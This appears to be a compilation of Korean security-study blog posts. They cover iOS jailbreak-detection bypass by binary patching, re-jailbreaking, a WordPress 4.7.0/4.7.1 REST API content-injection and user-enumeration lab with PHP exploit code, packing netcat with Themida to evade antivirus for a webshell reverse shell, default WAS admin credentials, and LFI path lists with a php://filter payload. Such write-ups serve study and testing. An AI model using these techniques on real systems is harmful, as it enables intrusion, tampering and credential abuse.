아이폰 탈옥 탐지 우회

어떤 솔루션 및 로직을 사용해서 탈옥 탐지를 하느냐에 따라 우회 방법은 제각각이지만 가장 기본적인 방법으로 탈옥탐지 우회 방법을 정리한다.

0) 사용되는 프로그램
  • iFunbox 최신버전
  • HxD
  • IDA Pro 7.0

1) 단말기 탈옥 여부 확인 
- iFunbox를 열어 탈옥여부 확인
** 탈옥을 했음에도 "Jailbroken"이라고 표시되지 않는다면 cydia에서 Apple FIle Conduit"2"를 설치한다.


2) 탈옥폰에서 어플리케이션을 실행 시켜 탈옥 탐지 로직이 존재함을 확인


3) ps -ef를 이용해 실행되고 있는 앱이 설치된 경로 찾아가기 (/var/containers/Bundle/Application/~)



4) Clutch 앱을 이용하여 앱 복호화(앱스토어에서 설치한 ios앱은 기본적으로 암호화됨)
  • clutch -i : 복호화 가능한 앱 확인
  • clutch -b [앱번호] : 앱 복호화
  • 복호화 후 DONE: ~ 뒤에 나타나는 파일 경로 확인 (/var/tmp/clutch/~)
 
5) 복호화된 파일이 저장된 경로를 찾아가 실행 파일(보통 애플리케이션 명과 동일한 이름을 가지고 있으며 확장자가 존재하지 않음)을 [PC에 복사]




6) 분기문 조작
    (1) 분기문이 위치한 곳을 찾는다.
    (2) 분기문 변조 http://armconverter.com/
    (3) HxD로 해당 파일을 열어 분기문의 코드를 수정한다.

    

7) 변조한 파일을 저장 후, 해당 애플리케이션이 설치된 위치에 덮어쓰기

8) 앱 재실행 시 실행 가능 확인

<참고> 




아이폰 4s의 경우, 폰의 전원을 On/OFF 하는 경우, 탈옥이 풀린다..
탈옥이 풀리면 Cydia 앱 실행이 불가능하므로 전원이 꺼지지 않도록 주의가 필요하다.
하지만 혹시 풀리는 경우, 아래와 같이 재탈옥을 진행하면 된다.


탈옥하기전 준비

  1. 백업
           - 탈옥하기 전 순정 상태의 아이폰을  아이튠즈를 통해 백업 
           - 잊지말고 백업하고 넘어가자...

  1. 암호 및 나의 iPhone 찾기 해제
            1) 설정 > 암호 > 암호 끄기
            2) 설정 > iCloud > 나의 iPhone 찾기 비활성화

        3. 이전 탈옥 시 사용한  Pheonix 앱 제거

iOS 9.3.5 탈옥

  1. PC에서 pheonix4.ipa  다운로드
            -> https://phoenixpwn.com/

        2. PC에서  Cydia Impactor 압축 파일 다운로드 후, 압축 해제
            -> http://www.cydiaimpactor.com/

        3. PC와 탈옥할 애플기기 연결

        4. 압축 해제한 폴더에서 Impactor.exe  파일 실행
            ** 만약  PC가 위험에 노출될 수도 있다는 팝업창이 나타나더라도 파일 실행해야함!


  1. 앞에서 다운로드한  pheonix4.ipa  파일을 마우스로 드래그해서 Impactor에 추가한 후, [Start] 버튼 클릭
          1) 애플 ID 입력


            2) 애플 패스워드 입력


            3)  pheonix4.ipa가 아이폰에 설치됨


  1. 아이폰의  설정 > 일반 > 기기 관리로 이동해 아이디 클릭 후, [신뢰] 버튼 클릭



  1. Pheonix 앱 실행 후, 탈옥 진행
            1) 재탈옥의 경우 [Kickstart Jailbreak] - [Use Provided Offsets] 클릭
            2) 화면에 표시된 문구가 변경되면서 아이폰 재시작함.



  8. Cydia  앱 사용가능 확인
       ** 처음 탈옥 진행 시, Cydia가 설치되는 것으로 탈옥 여부 확인이 가능하지만 재탈옥의 경우, 이미 Cydia앱이 설치되어 있으므로 실행 가능한지 확인하면 확실하다. 


워드프레스를 VM에 올리고 호스트 PC에서 접속을 하려니까 자꾸 아래의 화면처럼 깨졌다.




분명 VM에서 로컬호스트로 접속하면 멀쩡히 나오는 테마가 저렇게 되니까 뭔가 보기도 별로고 뭐가뭔지 모르겠어서 해결방법을 찾아보았다.


그랬더니 VM에서 127.0.0.1/wordpress/wp-admin/options-general.php에 접속해서 Wordpress Address(URL) 부분을 외부에서 접속하는 주소로 변경하라고 했다...


뭐때문에 깨짐현상이 없어지는지는 잘 이해가 가지 않지만 일단 해보자.

(Dashboard > Settings > General  > WordPress Address(URL)  수정)




이렇게 하고 접속하면 아래와 같이!! 정상적으로 테마가 나타난다! 짠!





하지만 이 과정 중, 수정 후에 Server Internal Error 어쩌구 하면서 phpMyAdmin 등 모든 페이지에 접속이 불가능해지면

워드프레스 홈루트에 .htaccess 파일이 생겼는지 확인하고 삭제하자. (있으나 없으나 별 문제 없음...!)

이때 AutoSet, WordPress등을 모두 재설치해도 똑같은 문제가 생기니, 믿고 한번 해보장..


안에 내용을 확인해보지 못해서 왜 삭제하면 접속이 가능해지는지 알수 없으나, 아마 홈루트로 접근하는 것을 차단해버리는 설정이 생기는 것 같다.!


이전 포스팅에서  워드프레스 REST API 취약점에 대해 다룬적이 있다. (http://securitynote.tistory.com/35)
CVE-2017-5487 취약점에서는 위험도가 별로 높지 않아 별다른 중요성을 못느꼈는데 이번에 짚고 넘어갈 취약점은 꽤 Critical하다.
이 취약점의 경우, 워드프레스 4.7.0-4.7.1 버전에서만 가능하므로 http://securitynote.tistory.com/36 포스팅을 참고하여 설치하고 시작하면 간편하게 실습이 가능하다. 

  • 영향버전: 워드프레스 4.7.0 / 4.7.1
    • 4.7.0 버전부터 적용된 REST API의 취약점

  • 무슨 취약점인가?
    • 워드프레스 REST API의 취약점으로 권한없는 사용자가 게시글을 열람, 수정, 삭제, 생성할 수 있는 취약점이다
    • 이 포스팅에서는 권한없는 사용자가 게시글을 수정하는 실습을 진행한다.

  • 익스플로잇 과정
    1) 도메인/ wordpress/readme.html 에 접속하여 워드프레스의 버전정보를 획득한다.


       2) REST API 를 통해(도메인/wordpress/wp-json/wp/v2/posts)포스팅된 게시글의 상세정보를 확인한다.



       3) 도메인/wordpress/wp-json/wp/v2/posts 뒤에 게시글의 번호를 넣으면 특정 게시글에 해당하는 내용만 출력된다.


       4)  이제 본격적으로 익스플로잇을 하는 과정이다. 
도메인/wordpress/wp-json/wp/v2/posts/(포스팅넘버) 뒤에 ?id=(포스팅넘버)(아무알파벳) 조합으로 패킷을 보낸다.


       5) 프록시 툴을 이용하여 아래와 같이 패킷을 수정하여 전송한다.
                - GET → POST
                - Content-Type: application/json  추가
                - {        
                        "title":"원하는 제목",
                         "content":"원하는 내용"
                    }

       6) 응답값에 200 OK 뜨는 것 확인 후, 실제 웹페이지에 접속하여 변경되었는지 확인

  • 대응책
    • Wordpress 4.7.2 이상 버전으로 업그레이드
    • 업그레이드 시 Content Injection을 시도하면 마지막 과정에서 200OK가 뜨지 않고 "Bad Request" 등의 에러 메시지가 발생한다. 

지난번에 올린  CVE-2017-5487 워드프레스  REST API  취약점을 테스트하는데 필요한  Wordpress를 설치해보자.
아래와 비슷한 방법으로 4.7.0 버전을 다운받아 설치를 진행하였지만 설치 도중 버전업이 되어 결론적으로 4.7.9가 되는 문제가 생겼다. 
따라서, 버전업이 되지 않도록 주의해서 진행해보자.. 
(야매로 다운그레이드를 하는 방법들이 인터넷에 존재하지만, 나는 하다가 아예 워드프레스 실행이 안되는 상황이 발생해서 다시 설치한다..)


워드프레스 홈페이지에서 이전 버전 파일을 모두 제공하므로 쉽게 다운로드가 가능하다.

1. 아래의 링크에서 원하는 버전을 다운받는다. (여기서는 4.7.0 버전을 다운받는다.)
2. Wordpress를 쉽게 설치하기 위해서 컴퓨터의 bit에 맞는 Autoset을 다운받는다.
3. 다운받은 오토셋 설치
    1) 오토셋 설치파일 실행
    2) 설치 언어 선택


    3) [다음] 클릭


    4) '사용자 계약에 동의합니다' 선택 후 [다음] 클릭

   


    5) 설치 위치 선택 후 [다음] 클릭

    6) [다음] 클릭

    7) [다음] 클릭   

    8) [설치] 클릭

    9) 정보 확인 후 [다음] 클릭


    10) [완료] 클릭


    11) 오토셋 매니저 실행 시, [웹서버 시작], [MySQL 시작] 버튼 클릭하여 서버 시작하기

   
 12) 서버 정상 동작 확인 (127.0.0.1 접속)


 
4. 설치 시 자동 버전업을 막기 위해 인터넷 연결을 차단한다.

5. 다운로드 받은 Wordpress 파일을 AutoSet 홈디렉터리로 이동시킨다.
        **  AutoSet의 홈디렉터리는 아래와 같이 실행이 가능하며, 일반적으로  c:\AutoSet9으로 생성된다)

6. Wordpress 설치
    1)  phpMyAdmin접속 후, root/autoset 으로 로그인




    2) 데이터베이스 생성


    3)  User 생성 및 패스워드 변경



   

    4) 127.0.0.1/wordpress  접속 (→ 127.0.0.1/wordpress/wp-admin/setup-config.php로 이동함}


    5) Step 3에서 생성한  User 정보로 로그인 

    6) [Run the install] 버튼 클릭


    7) Wordpress 계정 정보 입력 후, [Install Wordpress] 버튼 클릭

    8) 설치 완료 후, 메인페이지 접속



7) 설치가 모두 완료되었다면  Wordpress 자동 업데이트를 해제한다.
    - wp-config.php 에 코드 추가
        define('AUTOMATIC_UPDATER_DISABLED',true);  




위험한 취약점은 아닌데다가 사실 의미가 있는 정보를 가져올수 있는지도 딱히 모르겠긴 한데...
일단은 뭐 이런저런 정보 수집용으로 사용은 가능할 것 같다.

  • 사용가능 버전: Wordpress 4.7.0 이하 버전
  • Wordpress 4.7.0 이상의 버전에서는 취약한 기능만을 막아놓고 있다.. (다음포스팅에 소개할 Content Injection 등이 불가능)

워드프레스에서 기본적으로 제공하는 REST API가 있는데 그 API의 취약점을 이용한 익스플로잇이다.
(REST API에 대한 설명이 필요하다면... https://spoqa.github.io/2012/02/27/rest-introduction.html 참조)

아래는 기본으로 제공하는 API의 경로이다...
실제로 워드프레스를 설치하고 서버 웹루트에서 해당 경로를 찾아가면 존재하지 않는다.
그치만 접근하면 해당 정보 유무에 따라  json형태의 파일을 떨군다!



해당 취약점에 대해 이것저것 검색하면 아래와 같은 익스플로잇 코드가 있는데 사실 별의미 없다... 
깔끔하게 원하는 정보를 불러오겠다는 취지로 만든 파일이 아닐까 생각하지만 굳이 저렇게 파일을 업로드하고, 원하는 정보를 얻어올 정도로 중요한 정보를 가져오지도 않는다.
(아래 익스플로잇 코드를 사용하는 방법은:
    1. 해당 코드의 노란색 하이라이트된 부분을 주소에 맞게 변경한다. (기본설정)
    2. 수정한 코드를 워드프레스 웹루트에 저장한다.
    3. localhost/파일명.php로 접속
    4. 페이지에 json형태로 정보 출력


)

#!usr/bin/php
<?php
#Author: Mateus a.k.a Dctor
header ('Content-type: text/html; charset=UTF-8');
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
    echo "*-----------------------------*\n";
foreach($json as $users){
    echo "[*] ID :  |" .$users['id']     ."|\n";
    echo "[*] Name: |" .$users['name']   ."|\n";
    echo "[*] User :|" .$users['slug']   ."|\n";
    echo "\n";
}echo "*-----------------------------*";}
else{echo "[*] No user";}
?>

다시 말하지만 굳이 사용할 이유가 없는 익스플로잇 코드이다...

그냥 위에 첨부한 표에 있는 경로에 접속하면 원하는 정보 다 불러온다
예를 들어, 위와 같은 정보를 얻어오려면 http://localhost/wordpress/wp-json/wp/v2/users/ 로 접근하면 아래와 같은 json형식의 파일을 다운로드하라고 한다. 
그냥 다운받아서  메모장으로 열어보면 아래와 같이 admin 이라고 사용자 정보 노출...



같은 방법으로 게시물의 정보를 알아오거나 수정한 정보 등... 그냥 간단한 정보 수집용 데이터들을 다운받거나 열람할 수 있다.

- 대응책: 버전 업그레이드하면됨! 4.7.0 이상 버전이면 취약점 없음!!

이게 끝임...ㅡ.ㅡ



 패킹(packing)이란?
         
            일단 패킹이란, 배포를 하기 위해 파일의 크기를 줄이거나 보안성을 높이기 위해 실행파일을 압축하는 기술이라고 할 수 있다. 
            따라서, 정상적으로 파일 실행이 가능하며 대부분의 툴이 언패킹을 지원한다.

            얼핏 듣기로는 악성코드가 들어있거나 그런 파일이 아니기 때문에 백신에서 막을 수가 없는 구조라고 하는 것 같다 (제대로 이해하려면 PE구조를 이해하고 EXE 파일을 리버싱해야함...)

            그래서 실제로 얼마나 쓰이는 방법인지는 잘 모르겠지만..  
            패킹을 하면, 파일 업로드 시 백신우회 기법으로 사용이 가능하다!
            주의할 점은 원래 제작목적이 절대 백신 우회 프로그램이 아니라는 것이다...


공격 시나리오

공격 대상 서버(192.168.32.144:8090)에 웹쉘 업로드에 성공했다.
이제 NC를 이용하여 리버스 커넥션을 시도하려하는데 아무리 업로드를 해도 제대로 실행이 되지 않는다..
분명히 정상적으로 업로드가 되었는데 실행이 안되는 이유는 무엇일까???

1) 일반 nc.exe를 업로드한다.



2) nc가 정상적으로 실행되는지 확인하기 위해 다음 명령어를 실행하여 포트 오픈을 시도한다.
        ▶ nc.exe -lvp 4444

하지만 실패 ㅠㅠ 
왜...? 
알아보니 서버에 설치된 백신이 nc 실행을 막고 있었다...

이럴때 사용할 수 있는 방법이 패킹된 nc실행파일 올리기!!

이제 패킹하는 방법을 알아보자.


패킹 방법

패킹을 지원하는 툴은 여러가지가 있지만 나는 더미다 패킹(Themida)툴 사용법을 설명한다.
구글링을 통해 다운받을 수 있는 방법이 여러가지가 있지만 crack이나 정품인증이 되지 않은경우, 패킹된 실행파일 실행시 다음 화면이 뜬다..
실행되는 곳에서 화면을 한번 클릭해 주지 않으면 실행이 되지 않으므로 해킹시에는 사용이 불가능하다...



         그럼 이제 크랙되거나 정품인증을 한 더미다를 사용해서 패킹한 뒤, 서버에서 실행까지 해보자!

          1) 다운받은 더미다(Themida).exe를 실행시킨다 
                ** 주의할점은 nc의 비트수와 더미다의 비트수를 맞춰야지 않그럼 패킹이되지 않는다.
            


           2) Input Filename 부분에 패킹을 원하는 파일을 넣고 Output Filename을 선택하기 위해 [Same as Input]을 체크해제하고 경로및 파일명을 지정한다.
                ** Same as Input을 체크 해제하지 않는 경우, 원본 파일을 덮어쓰기 한다.
            
                

3) [Protection Options] - [Anti-Debugger Detection : Ultra] - [Anti-Patching: File Patch(sign Supported)] 

4) 다시 [Application Information]으로 돌아와 내용을 확인한 후, 상단의 [Protect] 클릭

5) 새로운 화면의 [Protect] 클릭


6) File Successfult protected 메시지 확인 후 [close] 클릭


7) 패킹한 NC를 업로드

8) 호스트PC (공격자PC)에서 4444로 리스닝 포트 오픈



9) 웹쉘을 이용해 리버스 커넥션 시도


10) 리버스 커넥션 성공 확인




** 더 이상 파일 공유하지 않습니다. 





훨씬 더 많은 종류의 WAS와 디폴트 관리자 페이지, 디폴트 계정 등이 존재하겠지만 일단 찾은 것까지 정리하고 넘어간다.
찾을때마다 한개씩 업데이트 예정!

WAS 종류
페이지 주소
디폴트 계정
톰캣(Tomcat)
도메인/manager/html
도메인/admin/login.jsp
tomcat/tomcat, admin/admin, manager/manager, admin/tomcat, tomcat/admin, root/root ...
웹로직(Weblogic)
도메인:7001/console

weblogic/welcome1, weblogic/weblogic, weblogic/password
웹스피어(Websphere)
도메인:7090/admin
도메인:9060/admin
도메인:9043/admin
도메인:8080/console
도메인:9060/ibm/console
도메인:9043/ibm/console
system/manager,john/secret, wasadmin
레진(resin)
도메인:8080/resin-admin

제우스(JEUS)
도메인/webadmin/
도메인:9744/webadmin
administrator/jeusadmin



ile Inclusion 취약점으로 RFI(Remote File Inclusion)과 LFI(Local File Inclusion)에 대해 알아보자.

일단, RFI나 LFI 취약점이 존재하는지 확인하려면 다음과 같이 파라미터 입력 부분에 ../를 넣어 확인한다.
취약점이 존재하는 경우, 다음과 같은 include 오류가 뜬다.

  

그럼 이제, LFI와 RFI에 대해 자세히 알아보자.

LFI(Local File Inclusion) 취약점

  1. LFI(Local File Inclusion) 취약점이란?
공격 대상 서버에 위치한 파일을 포함시켜 읽어오는 공격  
  • php 코드상에서 include() 사용 시 input에 대한 적절한 필터링이 이루어지지 않아 발생하는 취약점
  • 일반적으로 포함시키는 파일명
    • /etc/httpd/logs/access.log
    • /etc/httpd/logs/access_log
    • /etc/httpd/logs/error.log
    • /etc/httpd/logs/error_log
    • /opt/lampp/logs/access_log
    • /opt/lampp/logs/error_log
    • /usr/local/apache/log
    • /usr/local/apache/logs
    • /usr/local/apache/logs/access.log
    • /usr/local/apache/logs/access_log
    • /usr/local/apache/logs/error.log
    • /usr/local/apache/logs/error_log
    • /usr/local/etc/httpd/logs/access_log
    • /usr/local/etc/httpd/logs/error_log
    • /usr/local/www/logs/thttpd_log
    • /var/apache/logs/access_log
    • /var/apache/logs/error_log
    • /var/log/apache/access.log
    • /var/log/apache/error.log
    • /var/log/apache-ssl/access.log
    • /var/log/apache-ssl/error.log
    • /var/log/httpd/access_log
    • /var/log/httpd/error_log
    • /var/log/httpsd/ssl.access_log
    • /var/log/httpsd/ssl_log
    • /var/log/httpd_log
    • /var/www/log/access_log
    • /var/www/log/error_log
    • /var/www/logs/access.log
    • /var/www/logs/access_log
    • /var/www/logs/error.log
    • /var/www/logs/error_log
    • C:\apache\logs\access.log
    • C:\apache\logs\error.log
    • C:\Program Files\Apache Group\Apache\logs\access.log
    • C:\Program Files\Apache Group\Apache\logs\error.log
    • C:\program files\wamp\apache2\logs
    • C:\wamp\apache2\logs
    • C:\wamp\logs
    • C:\xampp\apache\logs\access.log
    • C:\xampp\apache\logs\error.log
    • C:\APM_Setup\Server\Apache\logs\error.log
    • C:\APM_Setup\Server\Apache\logs\access.log

2. 공격 방법
        1) 공격이 가능한지 확인한다. (파라미터에 ../등을 삽입하여 에러메시지 확인)
          2) 파라미터에 원하는 파일의 경로 삽입
                ex) c:\apm_setup\Server\apache\logs\access.log


하지만..!
LFI 취약점을 이용해서 php.ini 파일을 include 시키려고 하면...?
다음과 같이 parse 에러가 난다.

왜???

php.ini 파일의 77번째 라인을 찾아가면 다음과 같은 설명글이 있다...


정확히 왜 때문에 발생하는 parse 에러인지 이해는 가지 않지만 받아올 수 있는 방법은 있다!
아마.. include하는데 <?가 중복 포함되서 제대로 include가 안되는 거 같당...(정확히 모르겠음)

  1. PHP Wrappers 사용한 LFI
           여러 종류의 PHP Wrapper 사용이 가능하지만 가장 많이 시도되는 것이 base64 인코딩을 이용한 방법이다. 
            (다른 종류의 PHP Wrapper가 궁금하다면 https://hakin9.org/web-application-penetration-testing-local-file-inclusion-lfi-testing/ 참조)
           이 때, 응답값 내 base64로 인코딩된 파일 컨텐츠를 반환한다!
         
               php://filter/convert.base64-encode/resource=[파일경로]

            1) php://filter/convert.base64-encode/resource=c:\apm_setup\php.ini 요청


            2) 응답값 내 base64로 인코딩된 값 확인



            3) base64 디코딩



PHP에서 세션을 저장하는 원리나 어디에 저장하는 지 등에 대해 한번도 생각해 본적이 없었는데.. 
PHP가 세션값을 서버의 특정 경로에 저장했다가 세션을 파기한다고 한다

    - 일단, Session을 생성시키기 위해 로그인 과정을 진행한다
            ** 대락 다음과 같은 코드가 있어야 session 생성 가능
                    
                       <?
session_start();
$_SESSION['user_id'] = $user_id;
$_SESSION['user_name'] = $members[$user_id]['name'];
?>

    정상적으로 로그인에 성공하면 $user_id랑 $members를 $_SESSION의 변수로 등록하여 세션을 구현한다.
    
    일단, session_start() 함수가 호출이 되면 client 측의 브라우저에는 PHPSESSID로 시작하는 세션 토큰이 생긴다.



    그러면 이런 정보를 서버는 어떻게 저장하고 처리할까?

   session_start()가 호출되면 서버는 PHPSESSID를 생성하여 설정된 경로에 "sess_PHPSESSIONID"라는 파일을 생성한다.
   이 때, 파일 안에는 아무값도 저장하지 않으며, 해당페이지에서 세션값이 필요 없는 서비스만 이용이 가능하다.

    


  이 때, 정상적으로 로그인이 이루어지면 파일안에 $user_id와 $members 정보를 저장한다.

   



! 참고 !

session값을 저장하는 경로는 php.ini 설정파일에서 수정이 가능하다.
나의 경우, C:\APM_Setup\temp\session으로 설정하여 해당 파일 내에 저장되는 것!!

** session.save_path를 설정하는 여러가지 방법에 대해 설명하고 있는데
   session.save_path="N;/path"  로 설정하면 설정한 경로내에 session 파일을 몇개까지 저장할 것인지 설정이 가능하다. (N은 정수)
** default로 session.save_path="/" 로 설정되어있음.



이제, 로그아웃 시 세션을 삭제하는 과정을 살펴본다.
세션을 삭제하려면 session_destroy()가 호출되어야 한다.
    ** 대략 다음과 같은 코드가 있어야 세션 삭제 가능 

<?php
session_start();
session_destroy();
?>

정상적으로 session_destroy()가 호출되면 해당 파일안에 저장된 정보를 삭제하고 다시 빈파일이 된다.




+ Recent posts